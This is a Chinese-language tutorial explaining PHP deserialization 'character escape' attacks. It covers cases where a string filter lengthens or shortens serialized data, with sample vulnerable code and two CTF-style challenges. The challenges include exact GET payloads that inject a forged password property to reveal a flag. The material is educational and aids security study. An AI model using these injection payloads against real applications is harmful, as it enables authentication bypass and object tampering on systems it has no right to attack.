詳解php反序列化之字符逃逸法
按我的理解,反序列化的過程就是碰到;}
與最前面的{
配對(duì)后,便停止反序列化。如下序列化:
<?php class Test { public $a = "aa"; public $b = "bbb"; public $c = "cccc"; } $qwe = new Test(); echo serialize($qwe);
輸出序列化結(jié)果為:O:4:"Test":3:{s:1:"a";s:2:"aa";s:1:"b";s:3:"bbb";s:1:"c";s:4:"cccc";}
添加;}進(jìn)行嘗試:
O:4:"Test":3:{s:1:"a";s:2:"aa";s:1:"b";s:3:"bbb";s:1:"c";s:4:"cccc";}修改為
O:4:"Test":3:{s:1:"a";s:2:"aa";s:1:"b";s:3:"bbb";s:1:"c";s:4:"cccc";}hahhahha 并嘗試反序列化
print_r(serialize($qwe)); ? echo " "; ? print_r(unserialize('O:4:"Test":3:{s:1:"a";s:2:"aa";s:1:"b";s:3:"bbb";s:1:"c";s:4:"cccc";}hahhaha')); ? ? O:4:"Test":3:{s:1:"a";s:2:"aa";s:1:"b";s:3:"bbb";s:1:"c";s:4:"cccc";} Test Object ( [a] => aa [b] => bbb [c] => cccc )
我們發(fā)現(xiàn)成功進(jìn)行了反序列化操作,并且沒有出現(xiàn)報(bào)錯(cuò),因此可以說明反序列化以;}為結(jié)束標(biāo)志,后面的內(nèi)容則忽略不管。由此是不是想到了sql注入的相關(guān)知識(shí)?二者確實(shí)有一定的可類比性,都是通過構(gòu)造閉合的方式構(gòu)造payload,只不過字符逃逸構(gòu)造閉合注意點(diǎn)在長(zhǎng)度,因?yàn)殚]合標(biāo)志固定,都是;}
值得一提的是,php中可以通過修改序列化后的字符串來反序列化出原本類中不存在的元素,如下:
在unserialize的時(shí)候, 當(dāng)你的字符串長(zhǎng)度與所描述的長(zhǎng)度不一樣時(shí)就會(huì)報(bào)錯(cuò).比如 s:3:"Tom"變成s:4:"Tom"或s:2:"Tom"就會(huì)報(bào)錯(cuò). 可以通過拼接字符串的方式來使它不報(bào)錯(cuò)
所以字符逃逸又分為兩類
關(guān)鍵字符變多和關(guān)鍵字符變少
1.先說關(guān)鍵字符變多
反序列化逃逸的題目,會(huì)使用preg_replace
函數(shù)替換關(guān)鍵字符,會(huì)使得關(guān)鍵字符增多或減少,首先介紹使關(guān)鍵字符增多的。
<?php highlight_file(__file__); function filter($str){ return str_replace('l', 'll', $str); } ? class person{ public $name = 'lonmar'; public $age = '100'; } $test = new person(); $test = serialize($test); echo "</br>"; print_r($test); echo "</br>"; $test = filter($test); print_r($test); print_r(unserialize($test));
因?yàn)樘鎿Q過后,實(shí)際長(zhǎng)度為7,而描述長(zhǎng)度為6,少讀了一個(gè)r 所以失敗
這種字符增多是反序列化失敗是因?yàn)槁┳x了字符串的value,如果構(gòu)造惡意的value,再故意漏讀
如令$name='lonmar";s:3:"age";s:2:"35";}'
如果再進(jìn)行替換,lonmar=>llonmar,后面的}又讀不到
再多幾個(gè)l,lllllllllllllllllllllonmar=>llllllllllllllllllllllllllllllllllllllllllonmar ,";s:3:"age";s:2:"35";}就又讀不到
只能讀到lllllllllllllllllllllonmar這樣后面的;s:3:“age”;s:2:“35”;}就逃逸掉了,逃逸掉的字符串可以把原來后面的正常序列化數(shù)據(jù)提前閉合掉.(閉合條件";}
;s:3:"age";s:2:"35";}長(zhǎng)度是22 , 所以只需要22個(gè)l,如下:
<?php function filter($str){ return str_replace('l', 'll', $str); } ? class person{ public $name = 'llllllllllllllllllllllonmar";s:3:"age";s:2:"35";}'; public $age = '100'; } $test = new person(); $test = serialize($test); var_dump($test); $test = filter($test); var_dump($test); var_dump(unserialize($test));
可以觀察到age變成了35, name不是llllllllllllllllllllllllllllllllllllllllllllonmar";s:3:"age";s:2:"35";} 而是 llllllllllllllllllllllllllllllllllllllllllllonmar 因?yàn)?s:3:“age”;s:2:“35”;}逃逸,之后終止標(biāo)志變成了;s:3:“age”;s:2:“35”;}里的;} 后面的就被忽略了。
例題1
<?php error_reporting(0); class a { public $uname; public $password; public function __construct($uname,$password) { $this->uname=$uname; $this->password=$password; } public function __wakeup() { if($this->password==='yu22x') { include('flag.php'); echo $flag; } else { echo 'wrong password'; } } } ? function filter($string){ return str_replace('Firebasky','Firebaskyup',$string); } $uname=$_GET[1]; $password=1; $ser=filter(serialize(new a($uname,$password))); $test=unserialize($ser); ?>
這里要求password=yu22x,但是password的值已經(jīng)設(shè)置好了,這里就是用反序列化字符逃逸使得原本的密碼不被反序列化。 先進(jìn)行序列化,在本地測(cè)試,可以將密碼先改為yu22x,然后進(jìn)行序列化,
$uname=$_GET[1]; $password='yu22x'; $ser=filter(serialize(new a($uname,$password))); //$test=unserialize($ser); var_dump($ser);
得到結(jié)果
O:1:"a":2:{s:5:"uname";s:1:"?";s:8:"password";s:5:"yu22x";}
需要吞掉的部分是";s:8:"password";s:5:"yu22x";}這是30個(gè)字符,每替換一次增加2個(gè)字符,所以需要15個(gè)Firebasky才可以,所以構(gòu)造payload
?1=FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}
這是需要當(dāng)作username傳入的參數(shù),其實(shí)整個(gè)是
O:1:"a":2:{s:5:"uname";s:1:"?1=FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}";s:8:"password";s:5:"yu22x";}
到第一個(gè);}就會(huì)停止反序列化,更改的參數(shù)也是正確的,所以后面的password=1的部分就會(huì)被吞掉(忽略)。 反序列化成功就會(huì)得到flag。
例題2
上面那個(gè)是剛好夠30個(gè)被吞掉,每替換一次吞掉兩個(gè)字符。 所以算起來比較方便。 這個(gè)是不一樣的。
#unctf <?php error_reporting(0); highlight_file(__FILE__); class a { public $uname; public $password; public function __construct($uname,$password) { $this->uname=$uname; $this->password=$password; } public function __wakeup() { if($this->password==='easy') { include('flag.php'); echo $flag; } else { echo 'wrong password'; } } } ? function filter($string){ return str_replace('challenge','easychallenge',$string); } ? $uname=$_GET[1]; $password=1; $ser=filter(serialize(new a($uname,$password))); $test=unserialize($ser); ?>
還是在本地替換,替換正確密碼。序列化結(jié)果。
O:1:"a":2:{s:5:"uname";s:1:"?";s:8:"password";s:4:"easy";}
這個(gè)是替換一次,增加四個(gè)。而需要吞掉";s:8:"password";s:4:"easy";}29個(gè)字符 無法正好替換,前面使用7個(gè),則少一個(gè),使用8個(gè),則會(huì)多7個(gè)字符。 所以這里可以使用8個(gè),后面使用一下占位符讓其吞掉,比如;我理解的是因?yàn)橛龅?}才會(huì)結(jié)束反序列化,所以在;前面加7個(gè);使得反序列化成功。
?
1=challengechallengechallengechallengechallengechallengechallengechallengechallenge";s:8:"password";s:4:"easy";};;;;;;;
或者
?
1=challengechallengechallengechallengechallengechallengechallengechallengechallenge";s:8:"password";s:4:"easy";;;;;;;;}
兩個(gè)payload都一樣的,可以序列化成功,得到flag
2.關(guān)鍵字符減少
在增加字符串的題目中,我們是利用題中的增加操作,阻止他進(jìn)行向后吞噬我們構(gòu)造的代碼,而在字符減少的過程中,我們也是利用這個(gè)操作.
<?php highlight_file(__file__); function filter($str){ return str_replace('ll', 'l', $str); } ? class person{ public $name = 'lonmar'; public $age = '100'; }
同樣的,如果構(gòu)造惡意的age,讓反序列化的時(shí)候多讀,把a(bǔ)ge一部分讀進(jìn)去 同樣可以達(dá)到某種目的
正常的數(shù)據(jù) O:6:"person":2:{s:4:"name";s:6:"lonmar";s:3:"age";s:3:"xxx";}
如果做替換,讓也";s:3:"age";s:3:"被讀進(jìn)name,再把xxx替換為;s:3:“age”;s:3:“100”;}
令$age=123";s:3:"age";s:3:"100";}
O:6:"person":2:{s:4:"name";s:47:"llllllllllllllllllllllllllllllllllllllllllonmar";s:3:"age";s:26:"123";s:3:"age";s:3:"111";}";}
多讀的為 ";s:3:"age";s:26:"123 長(zhǎng)度 21
構(gòu)造(l*42)nmar, 就多吞了部分字符串,
name:
llllllllllllllllllllllllllllllllllllllllllonmar =>
lllllllllllllllllllllonmar";s:3:"age";s:26:"123
age:
123";s:3:"age";s:3:"111";}
=>
111
總結(jié)
本篇文章就到這里了,希望能夠給你帶來幫助,也希望您能夠多多關(guān)注腳本之家的更多內(nèi)容!
相關(guān)文章
PHP微信企業(yè)號(hào)開發(fā)之回調(diào)模式開啟與用法示例
這篇文章主要介紹了PHP微信企業(yè)號(hào)開發(fā)之回調(diào)模式開啟與用法,結(jié)合具體實(shí)例形式分析了php微信企業(yè)號(hào)回調(diào)模式開啟與使用方法相關(guān)操作技巧,代碼中備有詳盡的注釋說明便于讀者理解,需要的朋友可以參考下2017-11-11golang 調(diào)用 php7詳解及實(shí)例
這篇文章主要介紹了golang 調(diào)用 php7詳解及實(shí)例的相關(guān)資料,需要的朋友可以參考下2017-01-01php通過baihui網(wǎng)API實(shí)現(xiàn)讀取word文檔并展示
這篇文章主要介紹了php通過baihui網(wǎng)API實(shí)現(xiàn)讀取word文檔并展示的相關(guān)資料,需要的朋友可以參考下2015-06-06PHP 緩存實(shí)現(xiàn)代碼及詳細(xì)注釋
PHP緩存實(shí)現(xiàn),實(shí)現(xiàn)了apc和文件緩存,繼承Cache_Abstract即可實(shí)現(xiàn)調(diào)用第三方的緩存工具。參考shindig的緩存類和apc。2010-05-05PHP正則表達(dá)式處理函數(shù)(PCRE 函數(shù))實(shí)例小結(jié)
這篇文章主要介紹了PHP正則表達(dá)式處理函數(shù)(PCRE 函數(shù)),結(jié)合實(shí)例形式總結(jié)分析了php正則表達(dá)式preg_replace、preg_match、preg_match_all、preg_split及preg_quote等函數(shù)相關(guān)使用技巧,需要的朋友可以參考下2019-05-05PHP排序之二維數(shù)組的按照字母排序?qū)崿F(xiàn)代碼
PHP排序之二維數(shù)組的按照字母排序方法,在實(shí)際開發(fā)還是非常有用的,有需要的拿去2011-08-08